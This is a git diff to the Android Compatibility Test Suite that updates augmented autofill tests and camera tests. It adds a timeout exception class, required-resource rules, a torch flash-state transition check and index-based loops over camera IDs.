new mode 100644
similarity index 60%
copy from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
copy to tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
index a48cb1d..1225a47
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/tests/autofillservice/src/android/autofillservice/cts/WindowChangeTimeoutException.java
@@ -1,5 +1,4 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
+/*
  * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,13 +12,16 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- -->
+ */
+package android.autofillservice.cts;
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
+import androidx.annotation.NonNull;
 
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+import com.android.compatibility.common.util.RetryableException;
 
-</manifest>
+public final class WindowChangeTimeoutException extends RetryableException {
 
+    public WindowChangeTimeoutException(@NonNull Throwable cause, long timeoutMillis) {
+        super(cause, "no window change event in %dms", timeoutMillis);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
index 88c92ed..023a5cd 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillAutoActivityLaunchTestCase.java
@@ -24,9 +24,13 @@
 import android.content.AutofillOptions;
 import android.view.autofill.AutofillManager;
 
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
 
 /////
 ///// NOTE: changes in this class should also be applied to
@@ -42,6 +46,13 @@
 
     private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
 
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
     @BeforeClass
     public static void allowAugmentedAutofill() {
         sContext.getApplicationContext()
@@ -83,6 +94,11 @@
         return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
     }
 
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
     protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
         if (mServiceWatcher != null) {
             throw new IllegalStateException("There Can Be Only One!");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
index aa65877..32e6b88 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedAutofillManualActivityLaunchTestCase.java
@@ -23,9 +23,13 @@
 import android.content.AutofillOptions;
 import android.view.autofill.AutofillManager;
 
+import com.android.compatibility.common.util.RequiredSystemResourceRule;
+
 import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
 
 /////
 ///// NOTE: changes in this class should also be applied to
@@ -41,6 +45,13 @@
 
     private CtsAugmentedAutofillService.ServiceWatcher mServiceWatcher;
 
+    private static final RequiredSystemResourceRule sRequiredResource =
+            new RequiredSystemResourceRule("config_defaultAugmentedAutofillService");
+
+    private static final RuleChain sRequiredFeatures = RuleChain
+            .outerRule(sRequiredFeatureRule)
+            .around(sRequiredResource);
+
     @BeforeClass
     public static void allowAugmentedAutofill() {
         sContext.getApplicationContext()
@@ -78,6 +89,11 @@
         return AutofillManager.FLAG_SMART_SUGGESTION_SYSTEM;
     }
 
+    @Override
+    protected TestRule getRequiredFeaturesRule() {
+        return sRequiredFeatures;
+    }
+
     protected CtsAugmentedAutofillService enableAugmentedService() throws InterruptedException {
         return enableAugmentedService(/* whitelistSelf= */ true);
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
index beb598e..a29f918 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/augmented/AugmentedLoginActivityTest.java
@@ -527,10 +527,10 @@
                 .build());
         mActivity.onPassword(View::requestFocus);
         mUiBot.assertNoDatasetsEver();
-        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
-        assertBasicRequestInfo(request2, mActivity, passwordId, passwordValue);
 
-        mAugmentedUiBot.assertUiShown(passwordId, "req2");
+        // (TODO: b/141703197) password request temp disabled.
+        mAugmentedUiBot.assertUiGone();
+        sAugmentedReplier.reset();
 
         // Tap on username again...
         sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
@@ -643,11 +643,11 @@
                 .build());
         mActivity.onPassword(View::requestFocus);
         mUiBot.assertNoDatasetsEver();
-        final AugmentedFillRequest request2 = sAugmentedReplier.getNextFillRequest();
-        assertBasicRequestInfo(request2, mActivity, passwordId, passwordValue);
 
-        callback.assertUiShownEvent(password);
-        mAugmentedUiBot.assertUiShown(passwordId, "req2");
+        // (TODO: b/141703197) password request temp disabled.
+        callback.assertNotCalled();
+        mAugmentedUiBot.assertUiGone();
+        sAugmentedReplier.reset();
 
         // Tap on username again...
         sAugmentedReplier.addResponse(new CannedAugmentedFillResponse.Builder()
@@ -661,13 +661,14 @@
         final AugmentedFillRequest request3 = sAugmentedReplier.getNextFillRequest();
         assertBasicRequestInfo(request3, mActivity, usernameId, usernameValue);
         final UiObject2 ui = mAugmentedUiBot.assertUiShown(usernameId, "Augment Me");
+        callback.assertUiShownEvent(username);
 
         // ...and autofill this time
         mActivity.expectAutoFill("dude", "sweet");
         ui.click();
         mActivity.assertAutoFilled();
         mAugmentedUiBot.assertUiGone();
-        callback.assertUiHiddenEvent(password);
+        callback.assertUiHiddenEvent(username);
     }
 
     @Test
diff --git a/tests/camera/AndroidTest.xml b/tests/camera/AndroidTest.xml
index 7705d19..9cf73b8 100644
--- a/tests/camera/AndroidTest.xml
+++ b/tests/camera/AndroidTest.xml
@@ -34,5 +34,6 @@
               single test class/method (device side) timeout value set by timeout
               annotation -->
         <option name="test-timeout" value="24000000" />
+        <option name="isolated-storage" value="false" />
     </test>
 </configuration>
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 6893703..b9fc256 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -784,7 +784,10 @@
                 break;
         }
 
-        ACameraMetadata_getConstEntry(mChars, streamConfigTag, &entry);
+        auto ret = ACameraMetadata_getConstEntry(mChars, streamConfigTag, &entry);
+        if (ret != ACAMERA_OK) {
+            return false;
+        }
         for (uint32_t i = 0; i < entry.count; i += 4) {
             if (entry.data.i32[i] == format &&
                     entry.data.i32[i+3] == streamConfigOutputTag &&
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 2dbe878..2a46cf7 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -86,6 +86,9 @@
     private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
     private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
     private static final int NUM_FRAMES_WAITED_FOR_TORCH = 100;
+    private static final int NUM_PARTIAL_FRAMES_PFC = 2;
+    private static final int NUM_PARTIAL_FRAMES_NPFC = 6;
+
     private static final int NUM_TEST_FOCUS_DISTANCES = 10;
     private static final int NUM_FOCUS_DISTANCES_REPEAT = 3;
     // 5 percent error margin for calibrated device
@@ -525,7 +528,6 @@
                 flashTurnOffTest(listener,
                         /* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
                         /* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
-
                 flashTurnOffTest(listener,
                         /* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
                         /* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_AUTO_FLASH);
@@ -1479,17 +1481,123 @@
         // Test that the flash actually turned on continuously.
         mCollector.expectEquals("Flash state result must be FIRED", CaptureResult.FLASH_STATE_FIRED,
                 result.get(CaptureResult.FLASH_STATE));
-
+        mSession.stopRepeating();
         // Turn off the torch
         requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, flashOffAeControl);
         // TODO: jchowdhary@, b/130323585, this line can be removed.
         requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_OFF);
+        int numAllowedTransitionStates = NUM_PARTIAL_FRAMES_NPFC;
+        if (mStaticInfo.isPerFrameControlSupported()) {
+           numAllowedTransitionStates = NUM_PARTIAL_FRAMES_PFC;
+
+        }
+        // We submit 2 * numAllowedTransitionStates + 1 requests since we have two torch mode
+        // transitions. The additional request is to check for at least 1 expected (FIRED / READY)
+        // state.
+        int numTorchTestSamples =  2 * numAllowedTransitionStates  + 1;
         CaptureRequest flashOffRequest = requestBuilder.build();
-        mSession.setRepeatingRequest(flashOffRequest, listener, mHandler);
-        waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_TORCH);
-        result = listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
-        mCollector.expectEquals("Flash state result must be READY", CaptureResult.FLASH_STATE_READY,
-                result.get(CaptureResult.FLASH_STATE));
+        int flashModeOffRequests = captureRequestsSynchronizedBurst(flashOffRequest,
+                numTorchTestSamples, listener, mHandler);
+        // Turn it on again.
+        requestBuilder.set(CaptureRequest.FLASH_MODE, CaptureRequest.FLASH_MODE_TORCH);
+        // We need to have CONTROL_AE_MODE be either CONTROL_AE_MODE_ON or CONTROL_AE_MODE_OFF to
+        // turn the torch on again.
+        requestBuilder.set(CaptureRequest.CONTROL_AE_MODE, CaptureRequest.CONTROL_AE_MODE_ON);
+        CaptureRequest flashModeTorchRequest = requestBuilder.build();
+        int flashModeTorchRequests = captureRequestsSynchronizedBurst(flashModeTorchRequest,
+                numTorchTestSamples, listener, mHandler);
+
+        CaptureResult[] torchStateResults =
+                new CaptureResult[flashModeTorchRequests + flashModeOffRequests];
+        Arrays.fill(torchStateResults, null);
+        int i = 0;
+        for (; i < flashModeOffRequests; i++) {
+            torchStateResults[i] =
+                    listener.getCaptureResultForRequest(flashOffRequest, NUM_RESULTS_WAIT_TIMEOUT);
+            mCollector.expectNotEquals("Result for flashModeOff request null",
+                    torchStateResults[i], null);
+        }
+        for (int j = i; j < torchStateResults.length; j++) {
+            torchStateResults[j] =
+                    listener.getCaptureResultForRequest(flashModeTorchRequest,
+                            NUM_RESULTS_WAIT_TIMEOUT);
+            mCollector.expectNotEquals("Result for flashModeTorch request null",
+                    torchStateResults[j], null);
+        }
+        checkTorchStates(torchStateResults, numAllowedTransitionStates, flashModeOffRequests,
+                flashModeTorchRequests);
+    }
+
+    // We check that torch states appear in the order expected. We don't necessarily know how many
+    // times each state might appear, however we make sure that the states do not appear out of
+    // order.
+    private void checkTorchTransitionStates(CaptureResult []torchStateResults, int beg, int end,
+            List<Integer> stateOrder, boolean isTurningOff) {
+        Integer flashState;
+        Integer curIndex = 0;
+        for (int i = beg; i <= end; i++) {
+            flashState = torchStateResults[i].get(CaptureResult.FLASH_STATE);
+            int index = stateOrder.indexOf(flashState);
+            mCollector.expectNotEquals("Invalid state " + flashState + " not in expected list" +
+                    stateOrder, index, -1);
+            mCollector.expectGreaterOrEqual("state " + flashState  + " index " + index +
+                    " is expected to be >= " + curIndex,
+                    curIndex, index);
+            curIndex = index;
+        }
+    }
+
+    private void checkTorchStates(CaptureResult []torchResults, int numAllowedTransitionStates,
+            int numTorchOffSamples, int numTorchOnSamples) {
+        // We test for flash states from request:
+        // Request:       O(0) O(1) O(2) O(n)....O(nOFF) T(0) T(1) T(2) ....T(n) .... T(nON)
+        // Valid Result : P/R  P/R  P/R  R R R...P/R P/R   P/F  P/F  P/F      F         F
+        // For the FLASH_STATE_OFF requests, once FLASH_STATE READY has been seen, for the
+        // transition states while switching the torch off, it must not transition to
+        // FLASH_STATE_PARTIAL again till the next transition period which turns the torch on.
+        // P - FLASH_STATE_PARTIAL
+        // R - FLASH_STATE_READY
+        // F - FLASH_STATE_FIRED
+        // O(k) - kth FLASH_MODE_OFF request
+        // T(k) - kth FLASH_MODE_TORCH request
+        // nOFF - number of torch off samples
+        // nON - number of torch on samples
+        Integer flashState;
+        // Check on -> off transition states
+        List<Integer> onToOffStateOrderList = new ArrayList<Integer>();
+        onToOffStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+        onToOffStateOrderList.add(CaptureRequest.FLASH_STATE_READY);
+        checkTorchTransitionStates(torchResults, 0, numAllowedTransitionStates,
+                onToOffStateOrderList, true);
+        // The next frames (before transition) must have its flash state as FLASH_STATE_READY
+        for (int i = numAllowedTransitionStates + 1;
+                i < numTorchOffSamples - numAllowedTransitionStates; i++) {
+            flashState = torchResults[numAllowedTransitionStates].get(CaptureResult.FLASH_STATE);
+            mCollector.expectEquals("flash state result must be READY",
+                    CaptureResult.FLASH_STATE_READY, flashState);
+        }
+        // check off -> on transition states, before the FLASH_MODE_TORCH request was sent
+        List<Integer> offToOnPreStateOrderList = new ArrayList<Integer>();
+        offToOnPreStateOrderList.add(CaptureRequest.FLASH_STATE_READY);
+        offToOnPreStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+        checkTorchTransitionStates(torchResults,
+                numTorchOffSamples - numAllowedTransitionStates, numTorchOffSamples - 1,
+                offToOnPreStateOrderList, false);
+        // check off -> on transition states
+        List<Integer> offToOnPostStateOrderList = new ArrayList<Integer>();
+        offToOnPostStateOrderList.add(CaptureRequest.FLASH_STATE_PARTIAL);
+        offToOnPostStateOrderList.add(CaptureRequest.FLASH_STATE_FIRED);
+        checkTorchTransitionStates(torchResults,
+                numTorchOffSamples, numTorchOffSamples + numAllowedTransitionStates,
+                offToOnPostStateOrderList, false);
+        // check on states after off -> on transition
+        // The next frames must have its flash state as FLASH_STATE_FIRED
+        for (int i = numTorchOffSamples + numAllowedTransitionStates + 1;
+                i < torchResults.length - 1; i++) {
+            flashState = torchResults[i].get(CaptureResult.FLASH_STATE);
+            mCollector.expectEquals("flash state result must be FIRED for frame " + i,
+                    CaptureRequest.FLASH_STATE_FIRED, flashState);
+        }
     }
 
     /**
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 55b9d24..a5ea222 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -145,14 +145,15 @@
     /**
      * Test that the available stream configurations contain a few required formats and sizes.
      */
+    @CddTest(requirement="7.5.1/C-1-2")
     public void testAvailableStreamConfigs() throws Exception {
-        int counter = 0;
-        for (String id : mAllCameraIds) {
-            CameraCharacteristics c = mAllStaticInfo.get(id).getCharacteristics();
+        boolean firstBackFacingCamera = true;
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                    mAllCameraIds[counter]), config);
+                    mAllCameraIds[i]), config);
             int[] outputFormats = config.getOutputFormats();
 
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
@@ -161,26 +162,26 @@
 
             // Check required formats exist (JPEG, and YUV_420_888).
             if (!arrayContains(actualCapabilities, BC)) {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+                Log.i(TAG, "Camera " + mAllCameraIds[i] +
                     ": BACKWARD_COMPATIBLE capability not supported, skipping test");
                 continue;
             }
 
             boolean isMonochromeWithY8 = arrayContains(actualCapabilities, MONOCHROME)
                     && arrayContains(outputFormats, ImageFormat.Y8);
-            boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, id);
+            boolean isHiddenPhysicalCamera = !arrayContains(mCameraIds, mAllCameraIds[i]);
             boolean supportHeic = arrayContains(outputFormats, ImageFormat.HEIC);
 
             assertArrayContains(
                     String.format("No valid YUV_420_888 preview formats found for: ID %s",
-                            mAllCameraIds[counter]), outputFormats, ImageFormat.YUV_420_888);
+                            mAllCameraIds[i]), outputFormats, ImageFormat.YUV_420_888);
             if (isMonochromeWithY8) {
                 assertArrayContains(
                         String.format("No valid Y8 preview formats found for: ID %s",
-                                mAllCameraIds[counter]), outputFormats, ImageFormat.Y8);
+                                mAllCameraIds[i]), outputFormats, ImageFormat.Y8);
             }
             assertArrayContains(String.format("No JPEG image format for: ID %s",
-                    mAllCameraIds[counter]), outputFormats, ImageFormat.JPEG);
+                    mAllCameraIds[i]), outputFormats, ImageFormat.JPEG);
 
             Size[] yuvSizes = config.getOutputSizes(ImageFormat.YUV_420_888);
             Size[] y8Sizes = config.getOutputSizes(ImageFormat.Y8);
@@ -190,11 +191,11 @@
 
             CameraTestUtils.assertArrayNotEmpty(yuvSizes,
                     String.format("No sizes for preview format %x for: ID %s",
-                            ImageFormat.YUV_420_888, mAllCameraIds[counter]));
+                            ImageFormat.YUV_420_888, mAllCameraIds[i]));
             if (isMonochromeWithY8) {
                 CameraTestUtils.assertArrayNotEmpty(y8Sizes,
                     String.format("No sizes for preview format %x for: ID %s",
-                            ImageFormat.Y8, mAllCameraIds[counter]));
+                            ImageFormat.Y8, mAllCameraIds[i]));
             }
 
             Rect activeRect = CameraTestUtils.getValueNotNull(
@@ -206,7 +207,8 @@
             int activeArrayWidth = activeRect.width();
             long sensorResolution = pixelArraySize.getHeight() * pixelArraySize.getWidth() ;
             Integer lensFacing = c.get(CameraCharacteristics.LENS_FACING);
-            assertNotNull("Can't get lens facing info for camera id: " + mAllCameraIds[counter], lensFacing);
+            assertNotNull("Can't get lens facing info for camera id: " + mAllCameraIds[i],
+                    lensFacing);
 
             // Check that the sensor sizes are atleast what the CDD specifies
             switch(lensFacing) {
@@ -216,10 +218,13 @@
                             sensorResolution >= MIN_FRONT_SENSOR_RESOLUTION);
                     break;
                 case CameraCharacteristics.LENS_FACING_BACK:
-                    assertTrue("Back Sensor resolution should be at least "
-                            + MIN_BACK_SENSOR_RESOLUTION +
-                            " pixels, is "+ sensorResolution,
-                            sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                    if (firstBackFacingCamera) {
+                        assertTrue("Back Sensor resolution should be at least "
+                                + MIN_BACK_SENSOR_RESOLUTION +
+                                " pixels, is "+ sensorResolution,
+                                sensorResolution >= MIN_BACK_SENSOR_RESOLUTION);
+                        firstBackFacingCamera = false;
+                    }
                     break;
                 default:
                     break;
@@ -231,12 +236,12 @@
                     activeArrayHeight >= FULLHD.getHeight()) {
                 assertArrayContainsAnyOf(String.format(
                         "Required FULLHD size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes,
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes,
                         new Size[] {FULLHD, FULLHD_ALT});
                 if (supportHeic) {
                     assertArrayContainsAnyOf(String.format(
                             "Required FULLHD size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes,
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes,
                             new Size[] {FULLHD, FULLHD_ALT});
                 }
             }
@@ -245,11 +250,11 @@
                     activeArrayHeight >= HD.getHeight()) {
                 assertArrayContains(String.format(
                         "Required HD size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, HD);
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, HD);
                 if (supportHeic) {
                     assertArrayContains(String.format(
                             "Required HD size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, HD);
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, HD);
                 }
             }
 
@@ -257,11 +262,11 @@
                     activeArrayHeight >= VGA.getHeight()) {
                 assertArrayContains(String.format(
                         "Required VGA size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, VGA);
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, VGA);
                 if (supportHeic) {
                     assertArrayContains(String.format(
                             "Required VGA size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, VGA);
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, VGA);
                 }
             }
 
@@ -269,11 +274,11 @@
                     activeArrayHeight >= QVGA.getHeight()) {
                 assertArrayContains(String.format(
                         "Required QVGA size not found for format %x for: ID %s",
-                        ImageFormat.JPEG, mAllCameraIds[counter]), jpegSizes, QVGA);
+                        ImageFormat.JPEG, mAllCameraIds[i]), jpegSizes, QVGA);
                 if (supportHeic) {
                     assertArrayContains(String.format(
                             "Required QVGA size not found for format %x for: ID %s",
-                            ImageFormat.HEIC, mAllCameraIds[counter]), heicSizes, QVGA);
+                            ImageFormat.HEIC, mAllCameraIds[i]), heicSizes, QVGA);
                 }
 
             }
@@ -289,7 +294,7 @@
                 // For hidden physical camera, since we don't require CamcorderProfile to be
                 // available, use FULLHD 30 as maximum video size as well.
                 List<Size> videoSizes = CameraTestUtils.getSupportedVideoSizes(
-                        mAllCameraIds[counter], mCameraManager, FULLHD);
+                        mAllCameraIds[i], mCameraManager, FULLHD);
                 for (Size sz : videoSizes) {
                     long minFrameDuration = config.getOutputMinFrameDuration(
                             android.media.MediaRecorder.class, sz);
@@ -300,14 +305,14 @@
                     }
                 }
             } else {
-                int cameraId = Integer.valueOf(mAllCameraIds[counter]);
+                int cameraId = Integer.valueOf(mAllCameraIds[i]);
                 CamcorderProfile maxVideoProfile = CamcorderProfile.get(
                         cameraId, CamcorderProfile.QUALITY_HIGH);
                 maxVideoSize = new Size(
                         maxVideoProfile.videoFrameWidth, maxVideoProfile.videoFrameHeight);
             }
             if (maxVideoSize == null) {
-                fail("Camera " + mAllCameraIds[counter] + " does not support any 30fps video output");
+                fail("Camera " + mAllCameraIds[i] + " does not support any 30fps video output");
             }
 
             // Handle FullHD special case first
@@ -377,8 +382,6 @@
                     }
                 }
             }
-
-            counter++;
         }
     }
 
@@ -767,14 +770,14 @@
     }
 
     public void testRecommendedStreamConfigurations() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     actualCapabilities);
 
             if (!arrayContains(actualCapabilities, BC)) {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+                Log.i(TAG, "Camera " + mAllCameraIds[i] +
                         ": BACKWARD_COMPATIBLE capability not supported, skipping test");
                 continue;
             }
@@ -821,46 +824,44 @@
             if ((previewConfig == null) && (videoRecordingConfig == null) &&
                     (videoSnapshotConfig == null) && (snapshotConfig == null) &&
                     (rawConfig == null) && (zslConfig == null) && (lowLatencyConfig == null)) {
-                Log.i(TAG, "Camera " + mAllCameraIds[counter] +
+                Log.i(TAG, "Camera " + mAllCameraIds[i] +
                         " doesn't support recommended configurations, skipping test");
                 continue;
             }
 
             assertNotNull(String.format("Mandatory recommended preview configuration map not " +
-                    "found for: ID %s", mAllCameraIds[counter]), previewConfig);
-            verifyRecommendedPreviewConfiguration(mAllCameraIds[counter], c, previewConfig);
+                    "found for: ID %s", mAllCameraIds[i]), previewConfig);
+            verifyRecommendedPreviewConfiguration(mAllCameraIds[i], c, previewConfig);
 
             assertNotNull(String.format("Mandatory recommended video recording configuration map " +
-                    "not found for: ID %s", mAllCameraIds[counter]), videoRecordingConfig);
-            verifyRecommendedVideoConfiguration(mAllCameraIds[counter], c, videoRecordingConfig);
+                    "not found for: ID %s", mAllCameraIds[i]), videoRecordingConfig);
+            verifyRecommendedVideoConfiguration(mAllCameraIds[i], c, videoRecordingConfig);
 
             assertNotNull(String.format("Mandatory recommended video snapshot configuration map " +
-                    "not found for: ID %s", mAllCameraIds[counter]), videoSnapshotConfig);
-            verifyRecommendedVideoSnapshotConfiguration(mAllCameraIds[counter], c, videoSnapshotConfig,
+                    "not found for: ID %s", mAllCameraIds[i]), videoSnapshotConfig);
+            verifyRecommendedVideoSnapshotConfiguration(mAllCameraIds[i], c, videoSnapshotConfig,
                     videoRecordingConfig);
 
             assertNotNull(String.format("Mandatory recommended snapshot configuration map not " +
-                    "found for: ID %s", mAllCameraIds[counter]), snapshotConfig);
-            verifyRecommendedSnapshotConfiguration(mAllCameraIds[counter], c, snapshotConfig);
+                    "found for: ID %s", mAllCameraIds[i]), snapshotConfig);
+            verifyRecommendedSnapshotConfiguration(mAllCameraIds[i], c, snapshotConfig);
 
             if (arrayContains(actualCapabilities, RAW)) {
                 assertNotNull(String.format("Mandatory recommended raw configuration map not " +
-                        "found for: ID %s", mAllCameraIds[counter]), rawConfig);
-                verifyRecommendedRawConfiguration(mAllCameraIds[counter], c, rawConfig);
+                        "found for: ID %s", mAllCameraIds[i]), rawConfig);
+                verifyRecommendedRawConfiguration(mAllCameraIds[i], c, rawConfig);
             }
 
             if (arrayContains(actualCapabilities, OPAQUE_REPROCESS) ||
                     arrayContains(actualCapabilities, YUV_REPROCESS)) {
                 assertNotNull(String.format("Mandatory recommended ZSL configuration map not " +
-                        "found for: ID %s", mAllCameraIds[counter]), zslConfig);
-                verifyRecommendedZSLConfiguration(mAllCameraIds[counter], c, zslConfig);
+                        "found for: ID %s", mAllCameraIds[i]), zslConfig);
+                verifyRecommendedZSLConfiguration(mAllCameraIds[i], c, zslConfig);
             }
 
             if (lowLatencyConfig != null) {
-                verifyRecommendedLowLatencyConfiguration(mAllCameraIds[counter], c, lowLatencyConfig);
+                verifyRecommendedLowLatencyConfiguration(mAllCameraIds[i], c, lowLatencyConfig);
             }
-
-            counter++;
         }
     }
 
@@ -868,12 +869,12 @@
      * Test {@link CameraCharacteristics#getKeys}
      */
     public void testKeys() {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
-            mCollector.setCameraId(mAllCameraIds[counter]);
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
+            mCollector.setCameraId(mAllCameraIds[i]);
 
             if (VERBOSE) {
-                Log.v(TAG, "testKeys - testing characteristics for camera " + mAllCameraIds[counter]);
+                Log.v(TAG, "testKeys - testing characteristics for camera " + mAllCameraIds[i]);
             }
 
             List<CameraCharacteristics.Key<?>> allKeys = c.getKeys();
@@ -998,7 +999,7 @@
             StreamConfigurationMap config =
                     c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
             assertNotNull(String.format("No stream configuration map found for: ID %s",
-                    mAllCameraIds[counter]), config);
+                    mAllCameraIds[i]), config);
             if (config.isOutputSupportedFor(ImageFormat.RAW_SENSOR) ||
                     config.isOutputSupportedFor(ImageFormat.RAW10)  ||
                     config.isOutputSupportedFor(ImageFormat.RAW12)  ||
@@ -1029,8 +1030,6 @@
                 mCollector.expectLessOrEqual("Version too long: " + version, MAX_VERSION_LENGTH,
                         version.length());
             }
-
-            counter++;
         }
     }
 
@@ -1038,14 +1037,14 @@
      * Test values for static metadata used by the RAW capability.
      */
     public void testStaticRawCharacteristics() {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] actualCapabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
             assertNotNull("android.request.availableCapabilities must never be null",
                     actualCapabilities);
             if (!arrayContains(actualCapabilities,
                     CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_RAW)) {
-                Log.i(TAG, "RAW capability is not supported in camera " + counter++ +
+                Log.i(TAG, "RAW capability is not supported in camera " + mAllCameraIds[i] +
                         ". Skip the test.");
                 continue;
             }
@@ -1137,7 +1136,6 @@
             }
 
             // TODO: profileHueSatMap, and profileToneCurve aren't supported yet.
-            counter++;
         }
     }
 
@@ -1164,8 +1162,8 @@
      * Test values for static metadata used by the BURST capability.
      */
     public void testStaticBurstCharacteristics() throws Exception {
-        int counter = 0;
-        for (CameraCharacteristics c : mCharacteristics) {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            CameraCharacteristics c = mCharacteristics.get(i);
             int[] actualCapabilities = CameraTestUtils.getValueNotNull(
